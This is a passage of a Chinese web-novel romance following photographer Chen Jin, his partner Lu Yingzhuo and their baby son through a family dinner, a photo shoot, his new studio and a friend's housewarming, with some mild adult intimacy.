陆应倬临时接了个电话,分心出来将儿子放到地上,“去吧。” 服务生弯腰笑道:“和我来吧。” “谢谢姐姐。” 小耳朵主动牵上身着制服的服务生。 甜品餐区的香甜萦绕在空中,一踏入,小家伙就被吸引去看玻璃台中各式各样的小蛋糕。 他踮起脚。 餐台对小朋友是很高的。 服务生准备抱起小耳朵,陈今便过来与她道了谢,抱起儿子,“想吃哪个?” 小耳朵视野豁然开朗。 所有漂亮可口的甜品尽收眼底。 他白白的小手撑在柜台看,要从几十种好吃的蛋糕中挑一款出来,对宝宝来说,是一件非常重大且困难的题目哦。 陈今也耐心等他。 “……唔嗯!” 身边突然传来声音。 陈今低头一看—— 是一个扎着蝴蝶结双马尾的小女孩,看着和小耳朵差不多大,小皮鞋一踮一踮的。 她抬起头。 清秀可爱的小脸蛋有些害羞,又跑到远一点的地方了。 周围客人愈发多了。 陈今没怎么多想,先询问儿子:“想好了么宝宝?” 小耳朵:“爸爸,再等一下。” 陈今看崽儿扫视长长的玻璃柜。 他抱着人左右走了走,重新遇到那个小姑娘时,同样将人抱了起来,“看清楚了么?” 一手一个毫不费力。 小姑娘抱上陈今的脖子,准确指了指:“叔叔……我要这一个。” 小耳朵:“爸爸我快想好了……” 陈今安慰崽子不着急,“慢慢选。” 他让甜品台的服务生,把小女孩儿选的蛋糕拿出来,递给她时揉揉脑袋,对台前人说:“记在我们这一桌的账单。” 小女孩笑:“谢谢叔叔。” 陈今:“不客气。” 与此同时,小耳朵也选好了。 同时拿到了自己的小蛋糕和香草冰淇淋,回到餐桌上,一勺一勺挖着吃。 陈今看一眼周围。 陆应倬注意到:“找什么?” “刚才有个小姑娘。” 陈今撑着头的手放下来,“我请她吃甜点,感觉没看到她父母,找一下……” 陆应倬:“餐厅都有监控和服务生,不会丢。” 陈今:“也是。” 话音刚落—— 后腰处突然窜出一个小身影,咻地一下扑到他腿上,“叔叔,我爸爸妈妈说问你和弟弟喜欢吃什么,我们给你点……给你菜单。” 陈今接住她。 当了爹就是容易心软,“不用了宝宝,叔叔觉得你很可爱奖励你的。” 陆应倬突然说:“老婆。” 陈今:“嗯?” 他顺着陆应倬的眼神看过去。 小耳朵蛋糕冰淇淋也不吃了,眼巴巴看着他抱着小姑娘,小脚丫也不晃了。 醋了! 陈今忙把小女孩放下,“谢谢你和你爸爸妈妈,回去吧,叔叔要喂弟弟吃饭了。” 小女孩说了声好。 拿走菜单之前问小耳朵,“弟弟你要吃吗?” 小耳朵委屈巴巴:“……不要吃,谢谢你。” 不吃饭?大事不好! 不等陈今反应,陆应倬将儿童座椅里的崽儿抱在怀里,小家伙立刻抱住爹地脖子,背影都在散发悲伤气息。 陈今主动服软:“宝宝你在干嘛?” 小耳朵手悄悄摸眼睛。 陆应倬揉揉儿子的脑袋:“没事,刚才爸爸喊错了。” 陈今:“啥?” “你只有一个宝宝。” 陆应倬为家庭和谐和儿子心理健康做出巨大贡献:“小耳朵才是宝宝,不要喊别人宝宝。” 陈今没招了。 心肝宝贝一样地把儿子抱回来:“之前我怎么没发现他占有欲这么大?” “你身边没什么小孩儿。” 陆应倬就差没考个耳朵心理咨询师了,还不忘安慰儿子:“爸爸以后不会犯了。” 陈今:“对对对!” 小耳朵继续吃起了蛋糕,这次是坐在爸爸怀里吃,不肯走了,吃一口看一眼爸爸。 心脏软绵绵的。 陈今掐两把儿子的小脸蛋,凑近他耳边:“耳朵可是爸爸生的第一个宝宝,也是唯一的宝宝,爸爸可没有别的了。” 小耳朵抿嘴笑。 父子俩又闹成一团。 陆应倬不自觉扬起嘴角,喝了口酒,忽而眼神停顿了片刻,视线尽头处对方也是一愣。 陈今转头望:“有熟人啊?” 陆应倬:“我在确认有没有认错。” 说完他便缓缓起身,和犹豫后又走来的人说:“舅舅。” 舅舅?? 陈今抱着小耳朵站起来。 脑子里还在尽力搜寻这个人物。 “这是我舅舅严继平。” 陆应倬已经开始介绍了:“这位我爱人和孩子。” 陈今喊了人,摸了摸小耳朵的屁股教他,“宝宝你喊舅公。” 小耳朵:“舅公好。” 严继平西装革履,温和儒雅,不过四十出头模样,看着一家三口也没有过问任何,对陈今点点头,又多看了两眼小耳朵,慈爱地摸了摸他的手,“孩子长得真好。” 说完又下意识掏口袋。 陈今自从生了小耳朵对这套免疫了,说:“不用了舅舅,出门在外身上也没带东西。” 几人寒暄一阵。 严继平坐下来说了会儿话。 正准备离席,就看到妻子和女儿走了过来,他一脸宠溺抱起女儿准备介绍,小姑娘看着陈今笑:“漂亮叔叔!” 小耳朵埋在爸爸怀里,一个劲儿钻! 陈今:“……” 还真是好有缘分啊。 几个大人解释一番刚才缘由。 严继平也觉得十分凑巧,语调更是和煦了不少:“谢谢你小陈,这桌单我来买吧,主要是我来首都出差也不能久留,别推辞。” 陈今笑着点头,“谢谢您了。” 一桌刚用餐。 一桌已然准备回家。 各自分开后,陈今问出一堆疑惑:“你和舅舅怎么连个联系方式都没有,连他成家都不知道,耳朵满月和周岁也都没有邀请他?” “之前也很少走动。” 陆应倬抱着小耳朵,拉陈今进入电梯,“我出国那年,他请我吃了一顿饭,和我说之后就搬到海市生活了,我们联系越来越少,不来往。” 除了小时候逢年过节。 回忆比较多的也是母亲过世之后,严继平接送他上下学,断断续续照顾了他几个月。 “好吧。” 陈今记得陆远璋和他说过。 严继平从小是被领养的,男人本身讨好家庭的心思就不多,不太亲近侄儿也正常。 “小米才比耳朵宝大一岁,算他表姑!” 陈今有种很割裂的感觉,“我妈也是三十多岁才生的我……靠,我俩生孩子是不是有点太早了?” 小米是严继平的女儿。 陆应倬换了手抱小耳朵,搂住陈今,“每个人节奏不一样,没必要比,你想把儿子现在塞回去也不可能了。” 小耳朵发饭晕了,又要睡觉,听闻抬起脑袋:“塞宝宝?” “没有没有。”陈今赶忙摸摸他脑袋,“哪里舍得塞你啊宝宝~” 小耳朵和爸爸蹭鼻子笑。 * 带娃日结束。 陈今又开始上班挣钱,下班被崽儿治愈的生活,家里长辈时常走动,时不时热闹一下。 一回去坐班,他就接到了一个特殊的大单。 单主在国外上学。 人只是临时回来,马上就又要飞回学校了,舍不得好不容易约到的档期,问陈今接不接受去国外拍摄——全款预付,可携团队一人,三日机票酒店全包。 李华来说的时候,陈今刚好在和宝宝通电话,问:“耳朵宝宝你想出门玩儿吗?” 小耳朵:“爸爸去耳朵去。” 陈今一口应下约拍。 在选人环节时,李华第一个说:“我还有安排,你带康乐或者白迅去好了,玩得开心点。” 白迅:“我看人家自己就是美妆类型的博主诶,没有指明化妆师,我就不要浪费名额了,康乐去帮老板分担一下。” 林康乐光荣赴任,对此表现出:“我去啊我去啊,我一定会好好干的!” 陈今笑:“行,加油。” 当天晚上回家。 他刚说完自己要去国外拍摄,陆应倬就问:“哪个国家?” 陈今说了。 陆应倬:“出发时间呢?我也去那边出差。” 陈今对他这么腻歪很无语:“三天后。” “我比顾客晚一天去,她说学校有事,看时差估计要凌晨落地。” 陆应倬亮出何卫澜两小时前发来的机票信息。 一个目的地。 同一天,只是起飞时间不同。 陈今一看:“我靠?” “我报销,帮你改头等同一班。” 陆应倬说着就决定了,“忙完我们在那边玩儿一段时间。” 陈今点点头,那太好了。 他正愁一个人带宝宝出门要不要找个地陪翻译。 陈今对此次工作抱有期待,一带一传染到了小耳朵,宝宝穿着小袜子在家里跟着爸爸跑来跑去,收拾行李。 “哎——” 小耳朵摔了个屁股墩。 陈今一看摔在小狗身上,没有给过多关注,让儿子自力更生。 小耳朵对着哥哥说:“梳毛毛。” 块头飞奔走开,再次出现已经叼着毛梳过来,趴下,让小家伙坐在地上玩儿个够。 陆应倬还在安排工作。 一大早就看到两人一狗腻腻歪歪。 小耳朵和陈今从昨晚就睡在一起,大小考拉分都分不开。 陆应倬下楼吃早餐。 对一样走下来的陈今说:“出差酒店我开的套间,三室一厅。” 陈今嫌贵:“为什么?” 陆应倬对他说:“带儿子出门,我俩办事不方便。” 陈今无语:“滚啊。” “过去我还要上班,累都累死了,谁要和你睡?” 陆应倬:“并不,每次做完你都睡得很香。” 陈今:“……” “老子那是累晕了!!” 陆应倬勾了勾嘴角,牵过他,“我要去公司了,和我亲嘴。” 索吻不成 只会招来不依不饶。 陈今自发跨上他腿一坐,用力往死里亲,腰被人按紧的前一刻,自发滚走,“行了滚吧。” 陆应倬:“其实我今天不上班。” 陈今:“……” 根本玩儿不过他。 “嗡嗡嗡——” 陆应倬拿起手机。 陈今一大早就被他耍,上楼找静悄悄不做声的儿子去了。 “舅舅。”陆应倬走到窗边。 “最近怎么样?”严继平温和问他:“平时带陈今和小耳朵回陆家相处还好吗?” 陆应倬:“您可以直说。” 对面沉默一阵。 然后传来一句低叹:“对不起,小倬。” “我不知道你现在和陆家的关系,我马上就要离开首都了,这么多年回来一趟就能遇到你,我认为我应该和你说说这件事。” 陆应倬:“您要说什么?” “你当年说想要一个人出去走走,买了车票,是受了我的劝说吗?”严继平轻声说:“如果是,那我很抱歉。” 陆应倬:“不是,我早有这个打算。” 对面又是沉默。 严继平没有任何顾虑开了口—— “当初你母亲去世后,陆夫人找到我,说可以在海市安排一份令我后半生无忧的工作,只要我带你离开一段时间,大概半年,说你的存在会让你父亲的精神问题更严重,我不知道她要做什么,我没答应也没拒绝。” “我接送你上下学,看你形单影只,回到家里又是一个人,我偶尔劝你说想带你出去转转,你说不用。” “我承认我在试探。” “如果你答应和我离开是最好,不答应,我就当陆夫人找我这件事没有发生过。” 陆应倬安静听着。 严继平:“后来你独自出行,失踪了一年多。” “我什么都没做,也得到了现在这份海市管理层的高薪工作,你回来后,临别前那顿饭我想坦白,但你说打算回你父亲身边……也就不了了之。” “我从回首都见到你开始,就一直心神不宁,我妻子也劝我和你说开,对不起小倬,原谅我只是个平庸之人,日后请你注意一下陆夫人,再见。” 陆应倬挂断电话。 这时。 “打完电话了就接着——” 陆应倬抱稳迎面而来的崽儿。 紧接着他双眼一黑,一手托住跳上背的陈今,缓缓单手将儿子放到沙发上,听脚边到处跑的块头呜呜叫。 “你怎么又无视野预判了!” 陈今看他这一串行云流水的动作,腿一勾,抱紧了些,“偷袭你是一件这么难的事情吗?” 陆应倬笑着托住人腿弯。 一看沙发上的儿子。 一身狗毛落的到处都是,头发上睫毛上,陆应倬抱他过来,“张开嘴巴。” 小耳朵:“啊噗……是哥哥的毛毛多啦!” “我和你说小孩儿一安静就不对。” 陈今挂在陆应倬身上,“我上楼一看他把狗毛梳的到处都是,在狗毛里打滚!” 陆应倬唇角一弯,把儿子扒干净,捞起来,“上楼换衣服。” 陈今:“这么厉害那你走楼梯?” 小耳朵:“爹地好厉害!能一起抱我和爸爸!” 陆应倬:“轻轻松松。” 陈今:“轻轻松松??” 小耳朵也学:“轻轻松松!” —正文完—魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-53 第51章 第 51 章 二合一 “平时上镜表现习惯呢?” “左边好一点。” “好, 尽量找你自然舒展的左位,天气比较热,可以适当听一下我的指示。” “OKOK!” 地点变换。 陈今试了几张人像。 他在相机上做参数调整, 踩好站位, 抓拍后给顾客展示问询, “可以再给我多一点眼神,是不是光有点刺眼?” “哇——” 女顾客陡然捂嘴。 手指在他的屏幕点了点, 发现不能触屏,“你好会拍啊……天呐,这个相机型号是什么,前面这张放大我看一下。” 陈今调大那张试拍图。 从第一张开始, 往后每一张,顾客眼前一亮又一亮。 女顾客拉过一旁观战的好友, 当面大夸特夸,拿出手机拍下相机屏上的原片, “等等我先发条朋友圈预告!” 陈今一笑。 他今天只是摄影师。 黑色口罩挡不住优越的五官和谐度, 光影下忽明忽暗的茶棕色桃眼。 “加个微信吧。” 女顾客那位朋友上前,“可以和你约下一次拍摄的时间吗?” 送上门的交易。 陈今没有拒绝的道理,拿出手机, “好。” “我约拍有加他微信呀,你问我要不就好了宝宝……”女顾客被朋友拉走的时候问了句,发觉好友又看陈今, 立刻了然:“好家伙,一大早陪我化妆来的时候你还不情不愿……” 朋友:“非也非也。” 陈今:“休息好了吗?中午会越来越热, 这个光线不拍可惜了。” 女顾客吸一口冰咖啡,补了个妆,“来来来!” 陈今投入拍摄工作。 他专注做事的时候不紧不慢, 效率和耐心都高得出奇,十一点不到就可以收工了。 “刚刚看的都要了吧,发不了朋友圈的我发微博和社交账号。”女顾客还在看相机原片,“帮我全精修,打包底片全部带走。” 陈今面对爽快顾客也大方,“我给你打折。” “没事啊,这个质量你特别便宜了!” 女顾客看朋友提着新咖啡回来,递给了陈今:“辛苦了老师,中午我们请你吃饭?” 女顾客举着小风扇扇风,看朋友操作。 陈今还在确认素材可用情况,接下咖啡放在一旁,冲人笑,“抱歉,一会儿还有事。” 几人道别感谢。 女顾客和朋友回程时说:“这个摄影师本人长得和精修图一样,技术也抗打,要不是看到他主页作品我真不想找男摄哦。” 朋友:“确实不能刻板印象。” “快看看他朋友圈儿有没有对象——” 女顾客:“你太明显了呀宝儿,刚不是我说你……你觉得他这个长相能没有对象吗?” 朋友:“朋友圈没有啊。” 女顾客:“人家这是工作号,他主页照片少年气太足太有迷惑性了,现实一整个……” 朋友:“什么?” 女顾客:“漂亮人妻。” 朋友:“……能不能把你那些个破小说都丢了?” * 「开个位置共享。」 陈今还在湖边采风。 他把相机挂上脖子,回复陆应倬:「干什么?」 陆应倬:「我看看你在哪儿。」 陈今:「好吧。」 没工作在家带娃的媳妇儿可以理解。 陈今打开共享。 他打算给人打个视频,就觉得不太对劲……这个地图距离是不是有点太近了? 「两人正在共享位置。」 陆应倬一个全白的头像上,方向标从四处转动变成准确锁定,正在匀速朝他靠近。 陈今:“……” 怎么和鬼一样出现又飘过来了? 不是,怎么还走这么快啊? 公园里面不是不能停车的吗,这个速度也太诡异了。 来都来了。 陈今挂着手机,继续采风,一边往阶梯上走等人出现。 树荫底下走路有风。 光影美丽晃动,陈今走到一处卖烤肠的小车摊停下问:“多少钱一根?” “五块。” 陈今觉得好贵。 可在景区也算合理,于是让老板现戳了根刚爆开花的,坐上长椅等人出现。 比他想象的还快。 陈今扒拉手机—— 头像已经越过湖边一大截,距离他只有十几棵树,他看向人来的方向。 下一秒。 半根烤肠掉在地上。 一开始陈今还以为自己看错了,呆呆望着那个熟悉的黑白配色头盔,再然后,电动车在他面前停住,放下的还有双大长腿。 陆应倬把防风镜推上去。 那张脸衬托得黑色电动车和头盔都异常贵气。 “下工了?” 陈今:“……” “你就这么骑过来的?” 陆应倬:“你说我车太显眼了。” 说完他便下车,把长椅上的包都挂车上。 “相机给我。” 陆应倬要给他拿下来。 陈今微低头,看见了地上的烤肠尸体,用签子戳起来扔进垃圾桶:“看你给我吓的。” 陆应倬给他买了根新的。 陈今饿的时候五块一根的烤肠都不嫌贵了,还能吃第二根,一口咖啡一口烤肠。 陆应倬:“冰的?” 来了就要管这管那。 陈今据理力争:“少冰!而且这天气都要化了……” 陆应倬拿出备用头盔,“没说不能喝,我管的是频次问题,阿姨说你这周喝了很多冰果汁,一个不注意你就开冰箱。” 陈今:“我热啊。” 陆应倬撕开薄荷湿巾给他擦汗,瞬间降温,又吸干一遍确保干爽给人戴好头盔,“手。” 陈今换了只手拿烤肠,抬起就近的那只给他。 陆应倬脱掉他的防晒袖套,换成白色冰袖,凉飕飕的,就像一直扔在有冰砖的保温袋中,舒服得不行。 “这边交警少。” 陆应倬说:“我送你到地铁站,走过去太热了。” “好吧。” 陈今吃完了烤肠垫肚子。 把半杯冰咖啡递给陆应倬,看他毫不犹豫便喝,对他说:“骑车回去小心一点。” 陆应倬插上钥匙。 给他留了足够的位置,“上来。” 陈今坐上去贴着他问:“你都骑我电动车了,什么时候体验一下去送外卖?” 陆应倬:“可以试试。” 衣服被风吹起来。 湖边相对没有那么干热,风也舒服不少,带着陆应倬身上的檀木皮革香气窜入鼻尖。 陈今吃了教训。 不敢在两个人的时候说骚话。 只是搂住男人腰时,碰到腹肌,没忍住多摸了两下。 陆应倬:“再往下摸两把,憋得慌。” 陈今:“……” 他毫不犹豫一拳反捶到他肚子上。 一天到晚就在那儿硬硬硬! 今天他要出门打工,就昨儿一晚上没让人得逞,陆应倬那个嘴就没停过,抓到机会就各种开腔。 陈今到地铁站前下车,背起包,把头盔摘了丢给他说:“走了!” 陆应倬目送他进站。 大庭广众容易让人炸毛,他说:“饿了先吃饭,别等我,段柏钦约我谈事情。” 陈今回头,“你有钱吗?” 陆应倬前段时间强制把卡全解绑换人了,“你看着给我转点儿就行。” 陈今头也不回走了。 陆应倬看着他消失,还没启动车子,兜里就震了一下,一看被转了三千块。 陈今:「够么?」 陆应倬点退还:「太多了,他说了他买单。」 陈今:「(点赞)(点赞)」 陈今:「转账300.00」 陆应倬开心收下:「谢谢老婆。」 陈今:「。」 …… 隔两天还有拍摄。 陈今一周的时间都空出来了。 事实证明这是个明智的决定,不然光今天就有几十张图要修。 这单比较意外,挣了快有个小一千。 陈今很有干劲地在书房待了一下午,晚饭才出门,抱过软乎乎的崽子问:“我爸妈和陆应倬都没回来?” “说是店里这几天特别忙。” 张阿姨又说:“但先生不知道怎么还没……回了这是?” 陈今去到落地窗边。 院门开了,电动车灯照进来,他晃了晃小家伙的两只小脚,“你爹开电动车太有意思了。” 小耳朵自己捏小手,也有意思,“啊……” 陆应倬回家没直接抱儿子,一脸坦然:“喝酒了。” “就你这样还管我喝冰咖啡?” 陈今隐隐有冒火的趋势,但烧不起来,被捧脸接吻完觉得自己也要醉了。 “……” 什么酒还挺香。 晚上,哄完儿子睡觉,陆应倬目的性极强地把人压回卧室,“明天不出门,可以。” 陈今从挣扎到妥协。 到了后半程,他眼神有些飘忽不定,双膝自觉分离,继而失去焦点,“等、等一下。” 陆应倬:“等不了。” 陈今:“不行!我要——” 陆应倬护住他伤口的手下移,轻按,“垫了东西,没事。” 陈今:“……” 难怪吃完饭一直给他喂水果。 他面红耳赤地抓住男人的头发,从牙缝里挤出一句话:“你这人……” 陆应倬安慰他:“没事,块头之前刚来也用,不会漏。” 陈今:“……” 事后,陆应倬抱他进浴室。 陈今整个人红透了。 他恨不得一键清空刚才的记忆——陆应倬下了床,顺手就把淡蓝色的无纺布卷起来,扔在床角一边。 陈今被抱在浴缸时差点没单方面殴打一顿他,气得不行:“不和你一起洗!” 陆应倬:“对不起宝贝。” 陈今根本没等到后续。 整个人连生气的力气都没了,“滚出去换床单。” 陆应倬很老实:“好。” 一般他们两个的私人时间,陈今是绝对不会允许让张阿姨来整理房间的,陆应倬也赞同这一点——谁搞脏的谁换,搞和被搞界限分明,追本溯源只会有一个人收拾卫生。 陆应倬五分钟就能换套新的。 无他,唯手熟尔。 陈今趴在浴缸边缘,意识到一个大问题。 就是他让陆应倬当他的客服完全就是一个错误决定。 接单是需要协调时间的。 陆应倬完全能掌握他的所有出行时间! 太恐怖了。 陈今浑身打了一个哆嗦。 心里把招助理这件事提上日程,洗完澡他仍然腰酸背痛,躺着都难受。 陆应倬给他按了按,“这儿?” 陈今别过头不理他。 陆应倬也非常有经验。 这时候说什么都是糖衣炮弹,事后哄好话,一按就是四十多分钟,一个累字都不带喊的。 “……好了。” 陈今丢开他的手,拉过被子,“我要睡觉。” 陆应倬看了眼时间,“还有五分钟十一点,五分钟,你给我做一个新的挂件。” 陈今:“什么玩意儿?” “之前那坨花生。”陆应倬换了说法:“你给儿子做了那么多,我没有。” 陈今不太理解:“你拿一个啊。” 陆应倬:“我不和儿子抢东西,你搓,什么我都要。” 黏土工具都在之前的房间。 一出门,块头从自己的狗屋开了门,踩着肉垫就溜了过来。 小耳朵晚上睡得很早。 块头是很聪明的狗狗,夜里几乎不叫了。 陈今蹲下来,“被你抓包啦?” 两个人大半夜做手工。 陈今开了灯,撸起袖子踩着狗,看到陆应倬靠近又是一巴掌,“挡光。” 陆应倬换了一边挨着他。 又是一个条状物…… 陈今这次把长长的面条盘在了一起,完美到不能再完美的一个螺旋状物体,“给。” 陆应倬:“换一个。” 陈今:“你说什么都要的!” “我上班了天天挂公文包上。” 陆应倬看陈今光下白皙透粉的脸颊,潮红褪去一半,水润的眸带一抹嗔怒,“求你给我再做一个好看的。” 陈今:“……” 狗男人还能屈能伸。 陈今最后给他捏了一个爱心。 三百六十度无死角的圆胖,鼓鼓囊囊的一个立体桃心,光调色就试了三四种,最后呈现两种红粉渐变叠加。 “我不确定会不会瘪掉啊。” 陈今觉得一个大男人带这个出门也很诡异,“颜色烤完之后要变的,不好看我也不改了,好晚了。” 陆应倬:“好看,我喜欢。” 陈今一把拽起块头的狗头,“去睡觉了宝宝。” 陆应倬:“好。” 陈今:“……我没叫你。” …… 夏去秋来。 陈今的摄影业务逐渐拓宽成型。 八月底,他的办公地点从青徽公馆的书房迁移,到了开车距家二十分钟的地方,租了一个一楼带院子的房子,作为他自主创业的公司。 他招了两个合眼缘的员工。 一个助理一个化妆师,一男一女。 陈今从打工人摇身一变成老板。 即使这样,每个月他会抽一周时间报班上课,每天三小时,学习更多摄影知识。 精力多到没边。 化妆师白迅比陈今大一岁。 每每看到自家老板有娃有对象——陆应倬经常来走动,忙的时候他也会帮忙干客服,和陈今两个人偶尔给儿子打视频,工作室两个小伙伴都见识过。 白迅不语,只是一味地抓事业。 陈今知道她在网上发帖免费化妆。 一次两次之后,他直接找到人说:“你有喜欢的化妆师收学徒吗,公司每个月都放一周假,你想去的话学费我给你报销。” 于是,白迅也加入学习一族。 她本身基础就不错,对工作上心,有想法有态度,学了两个月归来后,陈今连续接了三个单主,无一例外都有重点夸化妆师技术好。 几个小年轻凑在一起。 琢磨出了一个只有三个人的小公司。 知名度专业度稳步上升,账号运营得风生水起,粉丝破了第一个十万。 不再有订单焦虑。 陈今有了事业也没直接大搞特搞。 他硬生生把一份自由创业安排成了早七晚六,每个月最后一周连放七天假。 公司员工也有福了。 没办法,老板可不是什么单身人士,有老攻还有崽啊! 忙的时候偶尔加班。 陆应倬带小耳朵来接人下班。 崽儿越长越开,四个月,五个月各有各的可爱,第一次来公司亮相就把白迅和林康乐惊呆了。 太可爱了! 小耳朵还小,眉眼更像陈今。 因此不用对外解释太多其中缘由。 小耳朵在陆应倬怀里的时候就自己玩儿,看到陈今了就笑,张开手要抱抱,“啊……” 助理林康乐更外向一些。 第一次看宝宝来只是眼馋,第二次第三次…… 天冷下来,小耳朵衣服穿得多了,让人不害怕弄疼他了,小家伙还能懵懵懂懂无意识喊两声啪啪,林康乐立刻消毒洗手去要孩子了。 第一次抱到那个触感,软乎! 老板的崽儿天下第一萌。 白迅经常性手背色彩缤纷,洗了好几次手,才捏着宝宝两只小手歪着头,逗他,“天呐……我还以为是女孩子,漂亮宝宝。” 小耳朵也歪头盯着姐姐。 婴儿肥嫩嘟嘟的,戳一下比年糕还白还弹软,一点儿也不怕生,不笑的时候那个灵动萌! “小睫毛精。” 白迅心都软了,“这个婴儿弯呜呜呜画都画不出来……” * 十月底。 陈今照例给自己放假。 这次比较凑巧,不仅能陪小耳朵吃新的辅食,还撞上了出行计划,“段纪宁搬什么家?他不是有房子吗。” 陆应倬:“不在市区,地方是个好地方,有山水,那片区晴天能用望远镜看星星。” 张阿姨给宝宝做了贝贝南瓜泥。 小耳朵长乳牙了,白白的两颗嘴巴张开就能看到,嗷呜一口吃掉爸爸递过来的一切食物。 陈今刮掉他抿出来的糊糊。 月嫂给崽子整理饭兜时笑:“会吃饭最好了。” 小耳朵吃相分外可爱,被一群大人围观也专心致志盯着爸爸手里的勺子。 “再看要斗鸡眼了。” 陈今一定要看着他吃完才挖下一勺。 崽儿又吃到一口,眯了眯眼睛。 他穿着奶奶给做的小褂子,蓝底纹绣花浅金色,金贵可爱,肚子那儿吃得鼓鼓的把衣裳顶出来。 “空盘了。” 陈今给宝宝展示碗。 月嫂抱走舔嘴角的宝宝,再不去擦嘴巴就没得擦了。 接下来是大人们的饭局。 段纪宁要搬新家,请帖也没发。 陈今还觉得有点不妥,“可是他也没和我打电话,我要去吗?” 主人家都没发话。 巴巴跟着去多没必要啊。 陆应倬:“看他不顺眼?” “没有。”陈今早就认为那些事烟消云散了,“但万一他看我不顺眼呢,他都没——” “嗡嗡嗡……” 陆应倬帮他拿过手机,反转屏幕,“来了。” 陈今看到一串陌生号码。 他和段纪宁连个微信都没有,更别说电话了,对面似乎也不确定:“陈今?” 陈今:“我是。” “和陆哥来我新别墅聚一下。” 段纪宁邀请人还是和发号施令一样,“哦,记得带你儿子,他长大了没有?” 陈今:“……” 说的都是些什么话啊。 陆应倬见他挂断电话,一脸习惯了,笑道:“他现在说话态度不错了。” 陈今:“红包多少钱合适?” “你看着给。” 陆应倬想到之前都是送车送地,没新意,“随二百吧。” 陈今还真想这么干。 但他没有,宝宝满月宴的时候段纪宁给的红包是一张支票,金额是一百万,他可给不起。 陈今最会的就是淘东西。 在同城的帖子市场上逛逛看看,还真让他相中一个有意思的京都古玩,最重要的是,没有拆封过,包装盒就非常有上个世纪的年代感和童趣。 出行这日,天气大晴。 陆应倬少不了要喝酒。 陈今深知这一点,出门的时候塞了两根香蕉一瓶酸奶放车上,到达目的地停好车,他递过去一个红包,“写字!” 陆应倬:“给了多少这么厚?” 陈今阻止他打开漂亮红包,有二次痕迹,“就一万而已。你写,呃我搜一下……” 陆应倬:“不用。” 说着他就写上——万事顺遂,福满新居。 落笔陈今。 “写我俩呀!怎么是繁体?”陈今拿过来观摩一阵,仿佛是出自自己之手,“好看。” 郊区风景好。 陈今抱着宝宝慢走。 没进门就看到一大栋别墅前,还有好几辆货车,“他到底有多少东西?” 陆应倬:“灰尘大,先不带儿子过去。” 陈今站在原地。 但很快他就发现只是寥寥几件物品,比如钢琴、架子鼓这种不能磕碰又十分昂贵的物件。 保养极好,倒也没有灰尘。 “等等——” 陈今看到了熟人,走近一步,更确定了,他把趴在怀里的小崽儿给陆应倬,“你抱一下。” 陆应倬放下折叠婴儿车,抱稳儿子,“怎么了?” 陈今已然跑了过去。 他去到货车旁边,喊在擦货车后备厢锁的人,“李华?” 李华听到名字转过头来,一愣。 “陈今。” 快一年没见了。 两个人此时都有些不知所措。 李华看到推着孩子走来的陆应倬,走到陈今边上,问他:“遇到朋友了?” “对,这是李华。” 陈今立刻和陆应倬介绍:“去年我在服装店打工认识的朋友。” 他又和李华说:“这是我对象。” 陆应倬伸出手。 “你好。” 李华立刻脱下白色手套,擦了擦,才握住。 “小今和之前的朋友都很久没有联系了。” 陆应倬放下手对李华说:“在这里能碰巧遇到你,他肯定是开心的,只是不好意思。” 李华看向陈今:“到底怎么了?” “我和橘子给你打了很多电话,找了你之前住的地方,问了Kim姐和方哥,他们所有人都不知道你在干什么。” 这么一说。 陈今也觉得自己过分。 在李华看向婴儿车时,他陡然反应过来了。 “这个——” 陈今抱起自己人见人爱的幼崽。 走近展示给李华,“……其实我去生小孩了,我在打工的时候就已经怀孕了,你抱抱他吗?好软的。” 李华:“……” “对不起我有点脏……他太白了。” 五分钟后。 陆应倬带着宝宝进了别墅。 陈今还在不厌其烦地和李华说明苦衷,他甚至打算展示自己最有利的证据——剖腹产刀口。 李华忙按住他,“我害怕钝器伤口。” 陈今只好乖乖放下衣服。 “手术顺利吗?” 李华只问了这一句:“他……孩子爸爸和你爸妈都在吗,有没有长辈陪你一起?” 陈今点点头:“顺利,都是家里人,我还是尴尬死了。” 李华也松了口气。 “陈今你干嘛呢?” 段纪宁从家里走出来,看陈今和一个货车司机说话还十分拘谨,说:“这是在干什么?” 陈今:“这我朋友。” “你朋友?” 段纪宁从头到脚扫一眼李华,摸到口袋红包,当即抽出一沓现金塞他手里,“那正好,给,小费。” 陈今猛地注意李华的态度,果然,他给了回去,“不用的,刚才给过了,我先走了。” 陈今知道此时拦人不是好选择。 跟上去说:“下次有时间我再约你吃饭行吗?” 李华:“好。” 陈今说:“路上开慢一点。” 李华爬上货车朝他示意:“你去忙你的吧。” 两人交换了现在的联系方式。 陈今路过全程观看的段纪宁,红包一塞,一句话都不想说了。 段纪宁:“谢谢啊。” “不客气。” 陈今没继续搭理他。 一直持续到坐在陆应倬身边,实在忍不住,和他说了一通刚才的事,“我和段纪宁无法沟通,我俩只能他尊敬我祝福他!” 段纪宁想做好事。 结果就是那场面让他无比难受。 “不生气。” 陆应倬吻他嘴角。 这一幕正好段纪宁过来看到,无声闭上眼睛,离开了,方向是厕所或者阳台。 “我明白你之前拒绝我了。” 陆应倬对他说:“你说我们是两个世界的人,差距太大,乡下的那个我和你太合适。” 陈今拍腿称绝——拍的是陆应倬的腿。 “懂了吧!” 终于有一个资本家理解他了。 果然,还是得把高岭之花拉下神坛才知道凡人之苦。 “但你不必承受别人的情绪。” 陆应倬理了理他挡住眼睛的刘海,“李华如果是个值得深交的人,他足够了解你,不会因为段纪宁的行为迁怒你,也少会因你的身份而感到落差,你们还会有联系的。” 陈今靠在他身上,“……我只是有点难过。” “李华说好多人都在找我,我以为大家都会有自己的生活,忘掉我很正常。” 就像在江市的朋友。 现在一个一个都完全不记得了。 “喜欢你才更容易。” 陆应倬从肩膀抱着他安慰:“大家都在首都,你想要联系或者重新维持的关系,我们以后慢慢来。” 陈今:“好。” 抱在一起久了才发现,“我儿子呢?” 陆应倬看他才想起来,“苏诃抱去了。” “哦。”苏医生啊那没事了。 “今天少了一个人。” 陈今巡视了一圈才发现,“何秘书没来吗?” 陆应倬一愣,恰巧,从楼上下来的段柏钦也刚好听到这一句,两人对视了一会儿。 “段纪宁和他不熟。” 陆应倬有意无意搂住陈今问:“怎么突然问他?” 段柏钦也坐下了。 “你俩来了,我干儿子呢?” “在苏医生那里!” 陈今想坐好,被陆应倬缠着没办法只好回答他:“满月宴那天大家都在,我肯定能数出来你朋友多少,问一下而已啊。” 段柏钦:“陈今,你对何卫澜印象很好?” 陈今几乎是立刻点头,“何秘书优点这么多,几次救我于水火之中,我很喜欢他啊!” 段柏钦:“……” 他瞥了一眼陆应倬黑下去的脸,说:“你没问?” “忘了。” 